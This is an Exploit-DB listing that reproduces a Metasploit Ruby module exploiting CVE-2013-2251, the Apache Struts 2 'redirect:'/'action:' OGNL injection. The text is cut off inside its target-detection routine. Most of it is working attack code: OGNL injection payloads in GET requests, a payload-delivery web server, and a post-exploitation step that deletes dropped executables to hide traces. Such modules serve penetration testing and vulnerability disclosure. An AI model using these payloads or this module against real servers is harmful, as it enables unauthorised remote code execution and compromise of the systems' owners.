Exploit-DB #27135
Description: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2013-07-27
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
      'Description'    => %q{
        The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
        state changes by prefixing parameters with "action:" or "redirect:", followed by
        a desired navigational target expression. This mechanism was intended to help with
        attaching navigational information to buttons within forms.

        In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
        "redirectAction:" is not properly sanitized. Since said information will be
        evaluated as OGNL expression against the value stack, this introduces the
        possibility to inject server side code.

        This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
        Windows 2003 SP2 and Ubuntu 10.04 operating systems.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Takeshi Terada', # Vulnerability discovery
          'sinn3r',         # Metasploit module
          'juan vazquez'    # Metasploit modules
        ],
      'References'     =>
        [
          [ 'CVE', '2013-2251' ],
          [ 'OSVDB', '95405' ],
          [ 'BID', '61189' ],
          [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
        ],
      'Platform'       => [ 'win', 'linux'],
      'Targets'         =>
        [
          ['Automatic', {}],
          ['Windows',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultOptions'  =>
        {
          'WfsDelay' => 10
        },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DisclosureDate'  => 'Jul 2 2013',
      'DefaultTarget'   => 0))

    register_options(
    [
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
      OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
      # It isn't OptPath becuase it's a *remote* path
      OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
    ], self.class)
  end

  def on_new_session(session)
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
    end

    @dropped_files.delete_if do |file|
      false unless file =~ /\.exe/
      win_file = file.gsub("/", "\\\\")
      if session.type == "meterpreter"
        begin
          wintemp = session.fs.file.expand_path("%TEMP%")
          win_file = "#{wintemp}\\#{win_file}"
          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
          session.fs.file.rm(win_file)
          print_good("Deleted #{file}")
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          print_error("Failed to delete #{win_file}")
          false
        end
      end
    end

    super
  end

  def start_http_service
    #do not use SSL
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    service_url = srv_host + ':' + datastore['SRVPORT'].to_s
    print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
    start_service({
      'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => '/'
      }
    })

    datastore['SSL'] = true if ssl_restore

    return service_url
  end

  def check
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    })

    if res.nil? or res.code != 200
      print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
      return Exploit::CheckCode::Unknown
    end

    proof = rand_text_alpha(6 + rand(4))

    res = send_request_cgi({
      'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
      'method' => 'GET'
    })

    if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Unknown
  end

  def auto_target
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    })

    if res.nil? or res.code != 200
      fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
    end

    proof = rand_text_alpha(6 + rand(4))

    res = send_request_cgi({
      'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
      'method' => 'GET'
    })

    if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
      if res.headers['Location'] =~ /:\\/
        return targets[1] # Windows